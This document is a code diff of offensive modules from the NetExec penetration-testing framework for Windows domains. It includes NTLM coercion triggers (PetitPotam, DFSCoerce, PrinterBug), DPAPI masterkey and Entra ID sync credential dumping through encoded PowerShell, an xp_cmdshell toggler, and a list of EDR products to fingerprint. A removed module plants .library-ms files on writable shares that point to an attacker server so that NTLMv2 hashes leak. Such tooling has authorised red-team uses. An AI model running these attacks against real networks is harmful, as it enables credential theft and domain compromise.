rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
@staticmethod
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
dce.connect()
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
class ShadowCoerceTrigger:
@@ -398,8 +397,8 @@ class DFSCoerceTrigger:
"""
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "test\x00"
request["Share"] = "x:\\test\x00"
request["Comment"] = "lodos\x00"
request["Share"] = "x:\\lodos2005\x00"
dce.request(request)
except Exception as e:
@@ -420,7 +419,7 @@ class DFSCoerceTrigger:
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
request["pTargetPath"] = NULL
request["MajorVersion"] = 0
request["pComment"] = "test\x00"
request["pComment"] = "lodos\x00"
request["NewNamespace"] = 0
request["Flags"] = 0
dce.request(request)
@@ -483,7 +482,7 @@ class DFSCoerceTrigger:
request = NetrDfsAddStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["Comment"] = "test\x00"
request["Comment"] = "lodos\x00"
request["ApiFlags"] = 0
dce.request(request)
except Exception as e:
@@ -542,7 +541,7 @@ class PetitPotamtTrigger:
# activates EFS
# https://specterops.io/blog/2025/08/19/will-webclient-start/
with contextlib.suppress(Exception):
get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.set_dport(445)
@@ -779,12 +778,11 @@ class PrinterBugTrigger:
"port": 445
},
"[dcerpc]": {
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
"port": None
}
}
if pipe == "[dcerpc]":
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if binding_params[pipe]["port"] is not None:
rpctransport.set_dport(binding_params[pipe]["port"])
@@ -1084,7 +1082,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Length", DWORD),
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+11 -11
View File
@@ -3,16 +3,16 @@ import json
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
@@ -200,7 +200,7 @@ class NXCModule:
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
"""
name = "daclread"
@@ -249,10 +249,10 @@ class NXCModule:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
@@ -288,7 +288,7 @@ class NXCModule:
if self.principal_sAMAccountName is not None:
try:
resp = connection.search(
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
@@ -306,7 +306,7 @@ class NXCModule:
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
-68
View File
@@ -1,68 +0,0 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+28 -3
View File
@@ -1,12 +1,15 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -16,11 +19,33 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
-91
View File
@@ -1,91 +0,0 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+1 -1
View File
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+2 -5
View File
@@ -4,7 +4,7 @@ from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps FQDN and OS of all computers in the domain"
description = "Dumps all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
@@ -43,11 +43,8 @@ class NXCModule:
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item.get("dNSHostName")
dns_host_name = item["dNSHostName"]
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, separated by comma
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
def on_login(self, context: Context, connection):
+4 -6
View File
@@ -46,7 +46,8 @@ class NXCModule:
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
@@ -58,7 +59,6 @@ class NXCModule:
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
@@ -69,10 +69,8 @@ class NXCModule:
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
+51
View File
@@ -0,0 +1,51 @@
from base64 import b64encode
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+110 -146
View File
@@ -3,11 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -45,8 +45,20 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -91,11 +103,82 @@ class NXCModule:
class LsaLookupNames:
def __init__(self, connection=None):
self.connection = connection
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def connect(self):
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
@@ -127,19 +210,6 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
{"name": "AvastWscReporter", "description": "Avast WSC Reporter Service"},
{"name": "aswbIDSAgent", "description": "Avast IDS Agent Service"},
{"name": "AVGWscReporter", "description": "AVG WSC Reporter Service"},
{"name": "avgbIDSAgent", "description": "AVG IDS Agent Service"}
],
"pipes": [
{"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]},
{"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]}
]
},
{
"name": "Bitdefender",
"services": [
@@ -170,28 +240,18 @@ conf = {
"pipes": []
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": "Cortex XDR"}
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cybereason",
"services": [
@@ -204,24 +264,6 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
{"name": "Elastic Agent", "description": "Elastic Agent Service"},
{"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"}
],
"pipes": [
{"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]},
{"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]}
]
},
{
"name": "ESET",
"services": [
@@ -236,24 +278,6 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -266,39 +290,13 @@ conf = {
]
},
{
"name": "HarfangLab EDR",
"services": [
{"name": "hurukai", "description": "HarfangLab Hurukai Agent"},
{"name": "Hurukai agent", "description": "HarfangLab Hurukai Agent Service"},
{"name": "HarfangLab Hurukai agent", "description": "HarfangLab Hurukai Agent Program"},
{"name": "hurukai-av", "description": "HarfangLab Hurukai Antivirus"},
{"name": "hurukai-ui", "description": "HarfangLab Hurukai UI"}
],
"pipes": [
{"name": "hurukai-control", "processes": ["hurukai.exe"]},
{"name": "hurukai-servicing", "processes": ["hurukai.exe"]},
{"name": "hurukai-amsi", "processes": ["hurukai.exe"]}
]
},
{
"name": "Ivanti Security",
"name": "Ivanti Security",
"services": [
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -311,18 +309,6 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -335,11 +321,6 @@ conf = {
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "SentinelOne",
"services": [
@@ -353,6 +334,20 @@ conf = {
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
@@ -373,15 +368,6 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": []
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
@@ -424,13 +410,6 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
@@ -439,21 +418,6 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+1 -16
View File
@@ -7,8 +7,6 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
import contextlib
class NXCModule:
@@ -70,18 +68,8 @@ class NXCModule:
else:
rpctransport.setRemoteHost(connection.host)
dce = None
try:
if int(self.__port) == 135:
rpc = NXCRPCConnection(connection, force_tcp=True)
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
dce = rpc.rpc_transport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
entries = list(epm.hept_lookup(None, dce=dce))
else:
entries = self.__fetchList(connection.kerberos, rpctransport)
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -93,9 +81,6 @@ class NXCModule:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
-224
View File
@@ -1,224 +0,0 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.nmb import NetBIOSError
class NXCModule:
"""
Initial module by: Mauriceter
Additional authors: azoxlpf, Defte, YOLOP0wn, pol4ir, NeffIsBack
"""
name = "enum_cve"
description = "Enumerate common (useful) CVEs by querying the registry for the OS version and UBR."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
and do not check for the actual presence of the vulnerable components or mitigations.
Test the attack yourself to verify the host is actually vulnerable.
Currently supported CVEs:
- CVE-2025-33073 (NTLM Reflection)
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
connection.trigger_winreg()
try:
# Connect to RemoteRegistry to read UBR from registry
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
dce.disconnect()
if not ubr:
context.log.info("Could not determine OS version from registry")
return
else:
context.log.debug(f"OS version from registry: {connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}")
except DCERPCException as e:
